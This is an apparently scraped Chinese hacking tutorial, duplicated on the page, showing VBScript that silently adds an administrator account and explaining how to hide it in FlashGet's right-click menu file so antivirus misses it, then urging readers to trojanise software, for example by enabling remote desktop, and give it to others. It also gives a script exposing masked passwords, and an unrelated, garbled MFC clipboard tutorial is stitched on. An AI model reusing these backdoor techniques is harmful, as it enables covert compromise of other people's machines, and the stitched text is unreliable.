讲解脚本语言的妙用

作者:小菜 更新时间:2025-03-03 点击数:
简介:r.run "net user 柳若寒 123 /add",0r.run "net localgroup administrators 柳若寒 /add",0

【菜科解读】

r.run "net user 柳若寒 123 /add",0r.run "net localgroup administrators 柳若寒 /add",0 /script 这是一段非常简单的VBScript代码,其中"net user 柳若寒 123 /add"和"net localgroup administrators 柳若寒 /add"的作用添加一个用户名为柳若寒、密码为123的账户,并提升为管理员。

实际运用中,我们可以把它换成所需要的任意CMD命令,后面的参数0代表隐藏执行命令时的CMD窗口,代码执行有效需要本地管理员权限。

把这段代码保存为html文件,运行后会弹出安全警告窗口,如图1所示,这样再傻的人都知道有问题了。

那么怎样才能保证它的隐秘性呢?无意中我发现网际快车能帮我们这个忙。

我们来看看IE右键菜单,当点击菜单中的使用快车(FlashGet)下载的时候,它会调用一个VBScript文件,试着把上面的代码插入这个文件看看会有什么效果。

随便找一个下载链接,点击 右键 使用快车(FlashGet)下载 ,结果发现居然不会有任何提示,成功地添加了账户。

那么怎样知道它调用的是哪个文件呢?打开注册表,在HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\中就是关于IE右键菜单的信息,找到与网际快车相关的项,会发现它调用的是安装目录中的jc_link.htm文件,如图2所示。

把上面的代码插入jc_link.htm中就可以了,这样一来就绝对隐藏了,杀毒软件查不到,别人也不会想到你是在网际快车里面动的手脚。

事实上不仅是网际快车,比如迅雷、QQ等,只要与注册表添加右键菜单有关的都可以用这种方法。

大家可以把软件先进行改造,比如添加开3389命令之类的,再提供给别人下载,嘿嘿,这样威力就不是一般的大了。

打造最简单的星号密码查看器同样的思路,我们用VBScript和在注册表中添加IE右键菜单来实现星号密码查看器。

我们先看看实现此功能的代码。

script language="VBScript">Sub GetPassword()set srcEvent = external.menuArguments.eventSet doc=external.menuArguments.documentset ele=doc.elementFromPoint(srcEvent.clientX, srcEvent.clientY )ifele.type ="password" thenifele.value="" thenAlert("密码为空")elseAlert("密码为:"+ele.value)end ifend ifend subcall GetPassword() /script 把上面的代码保存为html文件,这里我保存为 d:\pass.html 。

然后在注册表HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\下新建一个项,命名为 查看星号密码 ,选中该项,把里面的字符串的数据改为保存的html文件的地址 d:\pass.html ,再在该项下增加一个DWORD值,值为4,表示只在右击表单元素时有效,如图3所示。

关闭注册表,重新启动IE窗口就可以看到效果了。

只要我们在密码框中点击右键选中该项,就会显示出密码框中的密码了。

黑客的基本

讲解,脚本,语言,的,妙用,用,网际,快车,做,

讲解脚本语言的妙用

r.run "net user 柳若寒 123 /add",0r.run "net localgroup administrators 柳若寒 /add",0 /script 这是一段非常简单的VBScript代码,其中"net user 柳若寒 123 /add"和"net localgroup administrators 柳若寒 /add"的作用添加一个用户名为柳若寒、密码为123的账户,并提升为管理员。

实际运用中,我们可以把它换成所需要的任意CMD命令,后面的参数0代表隐藏执行命令时的CMD窗口,代码执行有效需要本地管理员权限。

把这段代码保存为html文件,运行后会弹出安全警告窗口,如图1所示,这样再傻的人都知道有问题了。

那么怎样才能保证它的隐秘性呢?无意中我发现网际快车能帮我们这个忙。

我们来看看IE右键菜单,当点击菜单中的使用快车(FlashGet)下载的时候,它会调用一个VBScript文件,试着把上面的代码插入这个文件看看会有什么效果。

随便找一个下载链接,点击 右键 使用快车(FlashGet)下载 ,结果发现居然不会有任何提示,成功地添加了账户。

那么怎样知道它调用的是哪个文件呢?打开注册表,在HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\中就是关于IE右键菜单的信息,找到与网际快车相关的项,会发现它调用的是安装目录中的jc_link.htm文件,如图2所示。

把上面的代码插入jc_link.htm中就可以了,这样一来就绝对隐藏了,杀毒软件查不到,别人也不会想到你是在网际快车里面动的手脚。

事实上不仅是网际快车,比如迅雷、QQ等,只要与注册表添加右键菜单有关的都可以用这种方法。

大家可以把软件先进行改造,比如添加开3389命令之类的,再提供给别人下载,嘿嘿,这样威力就不是一般的大了。

打造最简单的星号密码查看器同样的思路,我们用VBScript和在注册表中添加IE右键菜单来实现星号密码查看器。

我们先看看实现此功能的代码。

script language="VBScript">Sub GetPassword()set srcEvent = external.menuArguments.eventSet doc=external.menuArguments.documentset ele=doc.elementFromPoint(srcEvent.clientX, srcEvent.clientY )ifele.type ="password" thenifele.value="" thenAlert("密码为空")elseAlert("密码为:"+ele.value)end ifend ifend subcall GetPassword() /script 把上面的代码保存为html文件,这里我保存为 d:\pass.html 。

然后在注册表HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\下新建一个项,命名为 查看星号密码 ,选中该项,把里面的字符串的数据改为保存的html文件的地址 d:\pass.html ,再在该项下增加一个DWORD值,值为4,表示只在右击表单元素时有效,如图3所示。

关闭注册表,重新启动IE窗口就可以看到效果了。

只要我们在密码框中点击右键选中该项,就会显示出密码框中的密码了。

黑客的基本 讲解,脚本,语言,的,妙用,用,网际,快车,做,

VC++语言实现MFC剪贴板操作实例代码

本文主要介绍了VC++语句语言/MFC中如下内容的剪贴板操作:1、文本内容的操作2、WMF数据的操作3、位图的操作4、设置应用自定义各式5、感知剪贴板内容的改变6、自动将数据粘贴到另一应用程式窗口一、文本内容的操作下面的代码示范了怎能将文本内容复制到剪贴板(Unicode编码的先转化为ASCII):CString source;//文本内容保存在source变量中if( OpenClipboard() ){HGLOBAL clipbuffer;char * buffer;EmptyClipboard();clipbuffer = GlobalAlloc(GMEM_DDESHARE, source.GetLength()+1);buffer = (char*)GlobalLock(clipbuffer);strcpy(buffer, LPCSTR(source));GlobalUnlock(clipbuffer);SetClipboardData(CF_TEXT,clipbuffer);CloseClipboard();}下面的代码呈现了怎能从剪贴板上获得文本内容:char * buffer = NULL;//打开剪贴板CString fromClipboard;if ( OpenClipboard() ){HANDLE hData = GetClipboardData(CF_TEXT);char * buffer = (char*)GlobalLock(hData);fromClipboard = buffer;GlobalUnlock(hData);CloseClipboard();}二、WMF数据的操作在剪贴板上读写图象数据是非比寻常有用的功能,并且呈现起来也很简单。

下面的代码呈现了怎能将扩展图元文档复制到剪贴板:if(OpenClipboard());{EmptyClipboard();//创建图元文档DCCMetaFileDC * cDC = new CMetaFileDC();cDC->CreateEnhanced(GetDC(),NULL,NULL,"the_name");//调用绘图例程//关闭CMetafileDC并获得它的句柄HENHMETAFILE handle = cDC->CloseEnhanced();//复制到剪贴板SetClipBoardData(CF_ENHMETAFILE,handle);CloseClipboard();//删除dcdelete cDC;}下面的代码演示了从剪贴板获得图元文档并将其绘制到client DC上:if(OpenClipboard()){//获得剪贴板数据HENMETAFILE handle = (HENMETAFILE)GetClipboardData(CF_ENHMETAFILE);//呈现CClientDC dc(this);CRect client(0,0,200,200);dc.PlayMetaFile(handle,client);//关闭剪贴板CloseClipboard();}三、位图的操作位图的操作稍微复杂一点,下面那个例子呈现了怎能在剪贴板保存位图:if(OpenClipboard()){EmptyClipboard();CBitmap * junk = new CBitmap();CClientDC cdc(this);CDC dc;dc.CreateCompatibleDC( CRect client(0,0,200,200);junk->CreateCompatibleBitmap(&cdc,client.Width(),client.Height());dc.SelectObject(junk);DrawImage(&dc,CString("Bitmap"));//复制数据到剪贴板SetClipboardData(CF_BITMAP,junk->m_hObject);CloseClipboard();delete junk;}下面的代码呈现了怎能从剪贴板上获得位图数据:if(OpenClipboard()){//获得剪贴板数据HBITMAP handle = (HBITMAP)GetClipboardData(CF_BITMAP);CBitmap * bm = CBitmap::FromHandle(handle);CClientDC cdc(this);CDC dc;dc.CreateCompatibleDC( dc.SelectObject(bm);cdc.BitBlt(0,0,200,200,&dc,0,0,SRCCOPY);CloseClipboard();}四、设置并应用自定义各式应用RegisterClipboardFormat()参数,没出国疑问复制和粘贴任何你需求的数据TYPE。

比如咱们有以下唯一的数据TYPE:struct MyFormatDatalong val1;int val2;};咱们要把它复制到剪贴板,没出国疑问应用如下的代码:UINT format = RegisterClipBoardFormat("MY_CUSTOM_FORMAT");if(OpenClipboard()){MyFormatData data;data.val1 = 100;data.val2 = 200;HGLOBAL clipbuffer;EmptyClipboard();clipbuffer = GlobalAlloc(GMEM_DDESHARE, sizeof(MyFormatData));MyFormatData * buffer = (MyFormat数据*)GlobalLock(clipbuffer);//保存到内存*buffer = data;//保存到剪贴板GlobalUnlock(clipbuffer);SetClipboardData(format,clipbuffer);CloseClipboard();}读取数据应用以下代码:UINT format = RegisterClipboardFormat("MY_CUSTOM_FORMAT");MyFormatData data;if(Openclipboard()){HANDLE hData =GetClipboardData(format);MyFormatData * buffer = (MyFormatData*)GlobalLock(hData);data = *buffer;GlobalUnlock(hData);CloseClipboard();}五、感知剪贴板内容的改变经过win界面消息没出国疑问感知剪贴板内容也许除了改变,代码如下://In your initialization code call:SetClipboardViewer(); //将咱们的程式添加到剪贴板观察链//In your message map add:ON_MESSAGE(WM_DRAWCLIPBOARD, OnClipChange) //添加Message handle//Which is declared as:afx_msg void OnClipChange();Finally implement:void CDetectClipboardChangeDlg::OnClipChange(){CTime time = CTime::GetCurrentTime();SetDlgItemText(IDC_CHANGED_DATE,time.Format("%a, %b %d, %Y -- %H:%M:%S"));DisplayClipboardText(); VC++,语言,实现,MFC,剪贴板,操作,实例,代码,

加入收藏
               

讲解脚本语言的妙用

点击下载文档

格式为doc格式

  • 账号登录
社交账号登录